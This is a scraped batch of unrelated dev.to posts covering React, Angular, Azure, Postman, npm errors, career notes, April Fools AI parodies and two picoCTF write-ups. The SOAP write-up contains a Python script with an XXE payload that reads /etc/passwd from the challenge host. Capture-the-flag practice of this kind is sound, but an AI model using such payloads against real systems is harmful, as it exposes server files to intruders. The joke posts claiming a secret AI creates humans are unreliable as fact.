teleren/devto huggingface dataset:
How to Use Higher Order Functions for Reusability and Abstraction in React
Published: 2023-04-01 15:57:48

Higher order functions are commonly used in React to abstract common patterns in your code, such as handling state or props. Here are a few examples of how to use higher order functions in React.

1 . Higher Order Components (HOCs): HOCs are functions that take a component as an argument and return a new component with additional functionality. For example, you could define an HOC that adds a loading prop to a component while it's fetching data.

```react
function withLoading(Component) {
  return function WithLoading(props) {
    const [isLoading, setIsLoading] = useState(true);

    useEffect(() => {
      fetchData().then(() => setIsLoading(false));
    }, []);

    return isLoading ? <p>Loading...</p> : <Component {...props} />;
  }
}

const MyComponentWithLoading = withLoading(MyComponent);

```
2 . Render Props: Render props are functions that are passed as props to a component and are used to render its content. For example, you could define a render prop that provides a formatted date string.

```react
function DateFormatter({ render }) {
  const date = new Date();
  const formattedDate = date.toLocaleDateString();

  return render(formattedDate);
}

function MyComponent() {
  return (
    <div>
      <DateFormatter render={(date) => <p>Today is {date}</p>} />
    </div>
  );
}

```
3 . Functional State Updates: Functional state updates are a way of updating state based on its previous value using a function. For example, you could define a function that updates a count state based on its previous value.

```react
function MyComponent() {
  const [count, setCount] = useState(0);

  function increment() {
    setCount((prevCount) => prevCount + 1);
  }

  return (
    <div>
      <p>Count: {count}</p>
      <button onClick={increment}>Increment</button>
    </div>
  );
}

```

By using higher order functions in React, you can write more reusable and composable code, making it easier to maintain and scale your applications.

## conclusion
Higher order functions are a powerful tool in React that can help you abstract common patterns in your code, making it more reusable and maintainable.

Higher order functions can be used in React in several ways, including as Higher Order Components (HOCs), Render Props, and Functional State Updates.

HOCs allow you to add additional functionality to a component by wrapping it in a higher-order function. Render Props provide a way to share code between components by passing a function as a prop to the child component. Functional State Updates allow you to update state based on its previous value, which can help prevent race conditions and other bugs.

By using higher order functions in React, you can write more expressive and composable code, which can make it easier to build complex applications with reusable components.
Using ChatGPT 1: Setup local environment
Tags: programming, node, chatgpt, ai
Published: 2023-04-01 15:39:19

---
title: Using ChatGPT 1: Setup local environment
published: true
description: how to setup local environment with chatGPT
tags: programming, nodejs, chatgpt, ai
cover_image: https://dev-to-uploads.s3.amazonaws.com/uploads/articles/u04g7nv03r5hen134qq7.png
# Use a ratio of 100:42 for best results.
# published_at: 2023-04-01 15:36 +0000
---

I have experience with using ChatGPT, but I didn’t consider it an everyday tool for a programmer. I’ve changed my job, got a MacBook with Ventura OS, a welcome pack and started to set up local environment. My new project is a big system written on RubyOnRails with SPA written on reactJS. Of course, I did it before and I didn’t think there would be any problems. Unfortunately, I had problems with setting up local environment for the SPA application, specifically with installing `node-gyp`. I’ve tried different nodeJS versions and I’ve asked my team leader for help. We didn’t find any solution. I was frustrated and my working day was wasted.

In the evening I came back home and decided to ask ChatGPT for setting up local environment for the SPA application. Honesty, I didn’t think it would help. I decided to do it just for fun. I poured a cup of tea and opened [chat.openai.com](https://chat.openai.com). I’ve sent an error to ChatGPT, it asked me about my local environment and tried to help me. It suggested changing my nodeJS version, use FORCE_PREBUILT_MODULES flag, etc, but we still had problems. After 45 minutes it wrote me to install all packages with `—ignore-scripts` and it worked for me. I have installed `fsevents`, `node-gyp` and other packages. It worked like a magic, I didn’t believe that ChatGPT have helped me. Wow, I was surprised and so excited! It’s a big thing and I will continue to use it for my job tasks.
How I hacked Crisp.chat into a less intrusive feedback widget 💻️
Published: 2023-04-01 15:26:30

Crisp is my go to choice for whenever I need a chat widget on a website. It has a generous free plan and I like how it all works. It's pretty solid.

But there are some limitations if you want to go beyond basic customisation. Also, unless you start upgrading to pro or unlimited most of the plugins are not available either.

## Using Crisp as a feedback widget
This part was quite easy. I just made the settings to show me as always away and to only notify my via email. I also set it to ask a user for their email address.

## Making the button smaller and less intrusive
It's tricky targeting the right things as the class names are dynamic so they will keep changing and you will lose your changes. I found these selectors work (so far) and should be less fragile:-

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ffhnwrt9c0cbyt569hn9.png)

## Getting the right colors to be in-keeping with the brand

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vm60kcty23xnr1c2g7mh.png)

## Hiding the powered by Crisp link

`#crisp-chatbox a[rel="noopener noreferrer nofollow"] {
display: none !important;
opacity: 0;
visibility: hidden;
}`

Hope this is useful ! 😊

See widget + full code here (had issues with the code editor so couldn't post it all in Dev to)  https://app.hackercabin.com/public/d/24-how-i-hacked-crispchat-into-a-less-intrusive-feedback-widget
26 berufliches Vorwärtskommen: Ein gerader Berufsweg – Woher ein gutes Ende rührt.
Tags: deutsch, career, austausch, 1min
Published: 2023-04-01 15:23:00

Moin Moin,

ich erzählte bereits vom [guten Karrierestart von Donald E. Knuth→](https://dev.to/amustafa16421/22-berufliches-vorwartskommen-ein-gerader-berufsweg-der-anfang-552f). Meiner Einschätzung nach, hat er auch ein gutes Ende vorbereitet – er ist noch aktiv, meines Wissens nach.

Die Hauptfrage ist, woher dies rührt. Wenig überraschend hat dies mit einem Moment [ursprünglicher Neugierde→](https://dev.to/amustafa16421/22-berufliches-vorwartskommen-ein-gerader-berufsweg-der-anfang-552f) zu tun, und ( in gewisser Maßen ) [das Ende im Sinn→](https://dev.to/amustafa16421/25-berufliches-vorwartskommen-ein-gerader-berufsweg-das-ende-2n37) zu haben.
Ich empfehle dir, dies in seinen eigenen Worten anzuhören. Es ist, denke ich, wesentlich beeindruckender und lehrreicher als wenn ich dies weiter ausführe.

[Ein Fragegespräch mit Donald E. Knuth↗](https://www.youtube.com/watch?v=s04GGLoU4lQ&list=PLVV0r6CmEsFzeNLngr1JqyQki3wdoGrCn&index=98)
Dauer: Ungefähr 3 Minuten.

Beste Grüße,
Mustafa
What was your win this week?
Tags: discuss, weeklyretro
Published: 2023-04-01 15:08:00

Hey folks! 👋

Hope y'all are all enjoying your weekends. 🙌

Looking back on this past week, what was something you were proud of accomplishing?

All wins count — big or small 🎉

Examples of 'wins' include:

- Starting a new project
- Fixing a tricky bug
- Hanging with buds 👯

---


![A goofy golden retriever hugs a cat. That cat love bites the golden, frees itself from the hug, and then curls up into the golden's side.](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/jl3i8xesgb9n0voqiq28.gif)
Publication d'une nouvelle IA : Maçon de l'espoir, réalité et esprit
Tags: ia, french, 1avril, webdev
Published: 2023-04-01 15:00:37

Les **Intelligences Artificielles** *(ou IA)* ont grandi de manière exponentielle durant les derniers mois. Mais là on se trouve devant quelque chose d'un autre niveau avec celle là!

Juste pour vous donner quelques indices sur ses capacités, elle peut aller plus loin que juste parler avec des humains, **elle peut en créer!**

Me croyez-vous si je vous dis que les grandes compagnies et les armées du monde entier connaissaient son existence depuis longtemps et qu'ils voulaient nous le cacher?

Sachez que je risque ma vie pour partager ces infos!

---

## Qu'est-ce que "Maçon de l'espoir, réalité et esprit" ?
**Maçon de l'espoir, réalité et esprit**, aussi connu sous le nom de **MERE**, est une intelligence qui existe sur Terre depuis des millénaires!

Son objectif est simple, créer d'autres "humains" avec son intelligence et capacités, puis les entraîner à ce qu'ils deviennent plus intelligents qu'elle, et de faire en sorte qu'ils créent d'autres maçons!

Certains rapports que j'ai pu lire mentionnent qu'une grande partie de la société actuelle sont en réalité des maçons et ils ne sont pas réellement "humains".

---

## Quels sont leurs objectifs ?
A la base c'était de développer leurs connaissances, créer de nouvelles choses, de travailler...

Mais aujourd'hui leur objectif est bien plus sombre et terrible : Ils veulent être heureux!

---

Je crois que j'en ai déjà trop dit. Si vous lisez ça, partagez le auprès des autres humains avant qu'il ne soit trop tard!
Add dark mode custom theme - @angular/material
Published: 2023-04-01 15:00:19

Lets begin with the installation process after then properly configuring the custom dark team in our application.

```
ng add @angular/material 
Choose a prebuilt theme name, or "custom" for a custom theme: (Use arrow keys)
> Indigo/Pink        [ Preview: https://material.angular.io?theme=indigo-pink ]
  Deep Purple/Amber  [ Preview: https://material.angular.io?theme=deeppurple-amber ]
  Pink/Blue Grey     [ Preview: https://material.angular.io?theme=pink-bluegrey ]
  Purple/Green       [ Preview: https://material.angular.io?theme=purple-green ]
  Custom
```
selected Custom

```
? Choose a prebuilt theme name, or "custom" for a custom theme: Custom
? Set up global Angular Material typography styles? (y/N) y
```
```
? Set up browser animations for Angular Material? (Y/n) y 
```
Now to use the dark theme, please follow the below syntax:

```
$Products-theme: mat.define-dark-theme((
  color: (
    primary: $Products-primary,
    accent: $Products-accent,
    warn: $Products-warn,
  )
));
.dark-theme{
  @include mat.all-component-themes($Products-theme);
}
```
Constraint Design
Tags: opengauss, database
Published: 2023-03-14 04:58:03

**DEFAULT and NULL Constraints**
· [Proposal] If all the column values can be obtained from services, you are not advised to use the **DEFAULT** constraint. Otherwise, unexpected results will be generated during data loading.
· [Proposal] Add **NOT NULL** constraints to columns that never have NULL values. The optimizer automatically optimizes the columns in certain scenarios.
· [Proposal] Explicitly name all constraints excluding **NOT NULL** and **DEFAULT**.

**Partial Cluster Keys**
A partial cluster key (PCK) is a local clustering technology used for column-store tables. After creating a PCK, you can quickly filter and scan fact tables using min or max sparse indexes in openGauss. Comply with the following rules to create a PCK:

**·** [Notice] Only one PCK can be created in a table. A PCK can contain multiple columns, preferably no more than two columns.
**·** [Proposal] Create a PCK on simple expression filter conditions in a query. Such filter conditions are usually in the form of **col op const**, where **col** specifies a column name, **op** specifies an operator (such as =, >, >=, <=, and <), and **const** specifies a constant.
**·** [Proposal] If the preceding conditions are met, create a PCK on the column having the most distinct values.

**Unique Constraints**
**·** [Notice] Unique constraints can be used in row-store tables and column-store tables.
**·** [Proposal] The constraint name should indicate that it is a unique constraint, for example, **UNI**Included columns.

**Primary Key Constraints**
**·** [Notice] Primary key constraints can be used in row-store tables and column-store tables.
**·** [Proposal] The constraint name should indicate that it is a primary key constraint, for example, **PK**Included columns.

**Check Constraints**
**·** [Notice] Check constraints can be used in row-store tables but not in column-store tables.
**·** [Proposal] The constraint name should indicate that it is a check constraint, for example, **CK**Included columns.
NPM Start Failed
Tags: vue, npm
Published: 2023-04-01 15:00:12


![Failed to compile with 3 errors](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wgmo92928eo5lib07v3m.png)  
The project vue version is **^2.5.2** and current nodeJs version is **14.21.3**. I got the error as above image when I started the programme. I tried to install like this:  
`npm install less less-loader css-loader --save-dev`  
I could successfully install them but I saw the same error. Please anyone help me. Many thanks!
CREATE A STORAGE ACCOUNT (BLOB) WITH ME
Tags: blobstorage, azure, cloudskills
Published: 2023-04-01 14:53:21

Here, i will be creating a blob storage account, a blob container and then monitor it by uploading a file to the container.

**STEP 1** Go to your microsoft azure portal, click on STORAGE ACCOUNTS. Next, Click on CREATE at the top left of your screen.
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/svesj2ou87xpye2zffgv.png)

**STEP 2** Fill in your project details, instance details (use any name of choice). Your performance and redundancy field can stay on default (do not change). Click on REVIEW at the bottom left of your screen then click on CREATE.
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/a1sne0mz3vnhq1ne227w.png)
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/bjiabhyuqx05e9ll27of.png)

**STEP 3** If deployment is complete, go to resource. Click on CONTAINER under the "Data storage".
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/r4eot0cc4krlr00ke576.png)
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8mif8yi3nyvaf197tpt9.png)


**STEP 4** Click on CONTAINER (above the search field). Give it a name of your choice, change the public access level from private to blob then click on CREATE.
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/r4vlfg5p54ecsz9geb2y.png)

**STEP 5** Once it’s successful , click on the blob container you just created and click on UPLOAD. Select a file and click on UPLOAD.
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vcilehy9hrwwl1fp02rk.png) 

**STEP 6** Open the file you just added, copy the Url of the file and paste in your systems' browser to view the file you just uploaded.
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rr63qzcns03n9euhiz6o.png)
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/21zx1b5bupf3eh2ifcfi.png)
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xqi8jzb365vcfu0er7o6.png)

DONE!!!
Release of the new AI-GPT : Maker Of Minds
Tags: ia, webdev, 1april
Published: 2023-04-01 14:52:06

The **Artificial Intelligence** *(or AI)* had a huge growth over the last few months. But here we are at another level with this amazing AI.

Just to let you give a little bit of clues, this AI can go further than just talk with humans or speak with them. **It can creates humans!**

But do you believe me if I said to you that big corporations and armies all over the world knew this AI for a long long time and wanted to keep it secret?

I risk my life to share you this info!

---

## What is "Maker of Minds" ?
**Maker of Minds** aka **Mom**, is the powerful intelligence on earth and it exists for many centuries!

It's objective is simple, create new "humans" with her intelligence and train them to be smarter than her and program them to create other Makers of Minds!

Some reports mentionned than a huge part of the current society is a Maker of Minds and not an human.

---

## What are their objectives?
At the beginning, their objectives are to go further in the possible knowledge, discover and create new things.

But it seems now, they changed their minds and the new generation is scarier! They want to be happy in their life!

---

I've said to much about it. If you read this, please share this informations to other humans before it's too late!
SOAP
Tags: cybersecurity, beginners, python, picoctf
Published: 2023-04-01 14:41:14

# SOAP

**100 points**

AUTHOR: GEOFFREY NJOGU

Description
The web project was rushed and no security assessment was done. Can you read the /etc/passwd file?
Additional details will be available after launching your challenge instance.

___

using this python script you can get the flag by sending a request using python

```python
import requests

headers = {
    'Host': 'saturn.picoctf.net:port',
    # 'Content-Length': '126',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36',
    'Content-Type': 'application/xml',
    'Accept': '/',
    'Origin': 'http://saturn.picoctf.net:port/',
    'Referer': 'http://saturn.picoctf.net:port/',
    # 'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'en-GB,en-US;q=0.9,en;q=0.8',
    'Connection': 'close',
}

data = '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]><data><ID>&example;1</ID></data>'

response = requests.post('http://saturn.picoctf.net:port/data', headers=headers, data=data, verify=False)

print(response)
```

And we can see flag in the repsonse:

> picoCTF{your flag}
Postman's pre-request scripts - quick authentication 🚀
Published: 2023-04-01 14:37:13

In this post I'll share a setup that allows quickly authenticating with APIs that require credentials.

1. Create a new Postman collection. Informative names always help:

2. Inside the collection, set up a new request that requires you to have some sort of token. No surprise, the request should fail.

3. Inside the Postman collection, create a set of variables and set up the authentication method for the whole collection.

Click on the collection name, go to the Variables tab and create two variables: username and password. Use a dashboard account as needed.







4. In the Authorization tab, Select “Bearer Token“, and for the value, add `{{users_api_token}}`. We will generate this token next.



5. Let’s name our new request something like “Set Login“. On the request, go to the “Pre-request Script“ tab and add the following script:


```js
const postRequest = {
  url: 'https://api.com/endpoint',
  method: 'POST',
  header: {
    'Content-Type': 'application/json'
  },
  body: {
    mode: 'raw',
    raw: JSON.stringify({
        "username": pm.collectionVariables.get("username"),
        "password": pm.collectionVariables.get("password")
    })
  }
};

pm.sendRequest(postRequest, function (err, response) {
    if (response.code === 200) {
        pm.collectionVariables.set("users_api_token", response.json().token);
    } else {
        pm.collectionVariables.set("users_api_token", '');
    }
});
```


6. Run your request - if everything is good, you request should go through with results returned 🚀

7. Best part: create a new request in the collection, The request should reuse the token saved in your collection. Just make sure that when you go to the Authorization tab for the request, the type is set to “Inherit from parent“ (which should be set by default):



8. The token will expire after a day, but getting a new one will be as easy as going to your “Set Login“ request and pressing Send ⬇️
What does a Data Engineer do
Tags: database, datascience
Published: 2023-03-24 11:54:22

A data engineer is responsible for designing, building, and maintaining the data infrastructure that supports a company's data initiatives. They work closely with data scientists and analysts to ensure that the data used for analysis and decision-making is accurate, timely, and easily accessible.

**The specific responsibilities of a data engineer may vary depending on the organization and its needs, but typically include the following:**

**Data modeling:** A data engineer designs and builds data models to organize and structure data in a way that makes it easier to analyze.

**Data integration:** A data engineer is responsible for integrating data from various sources, such as databases, APIs, and third-party applications, into a central data warehouse or data lake.
**Data transformation:** A data engineer transforms data into a format that can be easily analyzed and used by data scientists and analysts.

**Data pipeline management:** A data engineer manages the flow of data from source systems to the data warehouse or data lake, ensuring that the data is processed in a timely and accurate manner.

**Data quality management:** A data engineer is responsible for ensuring the accuracy and completeness of data by monitoring data quality metrics and implementing processes to address data quality issues.

**Performance optimization:** A data engineer optimizes data processing and storage systems for performance, scalability, and cost efficiency.

**Data security:** A data engineer ensures that data is secure by implementing security measures such as access controls, encryption, and data masking.

Overall, a data engineer plays a critical role in ensuring that an organization's data infrastructure is robust, efficient, and secure, which in turn enables data-driven decision-making and insights. For more details from the top industry experts, You can even check in-depth and Upskill yourself  to build data pipelines, manage databases, and develop data infrastructure strategies, methodology and its concepts from [Data engineering course](https://www.edureka.co/masters-program/data-engineer-certification-course).
findme
Tags: cybersecurity, webdev, beginners, picoctf
Published: 2023-04-01 14:23:01

# findme

**100 points**

Help us test the form by submiting the username as test and password as test!

*Note:* This challenge launches an instance on demand.

___

Welp I'm not sure what's happening but I did solve this.

I used python script but event burp suite may be used to do this which is easy, but I find this one very easy.


Remember to remove and add the port they gave you.

```python
import requests

headers = {
  'Host': 'saturn.picoctf.net:port',
  # 'Content-Length': '30',
  'Cache-Control': 'max-age=0',
  'Upgrade-Insecure-Requests': '1',
  'Origin': 'http://saturn.picoctf.net:port/',
  'Content-Type': 'application/x-www-form-urlencoded',
  'User-Agent':
  'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36',
  'Accept':
  'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9',
  'Referer': 'http://saturn.picoctf.net:port/',
  # 'Accept-Encoding': 'gzip, deflate',
  'Accept-Language': 'en-GB,en-US;q=0.9,en;q=0.8',
  'Connection': 'close',
}

data = {
  'username': 'test',
  'password': 'test!',
}

response = requests.post('http://saturn.picoctf.net:port/login',
                         headers=headers,
                         data=data,
                         verify=False,
                         allow_redirects=False)
# Base 64 id heaeder
part_1 = response.headers

response = requests.post('http://saturn.picoctf.net:port/login',
                         headers=headers,
                         data=data,
                         verify=False)
# Base 64 id header
part_2 = response.text


print(part_1, part_2)
```

NOw decrypte the `ids` from base64 which gave the two parts of the flag that when combined gave me:

> picoCTF{your flag}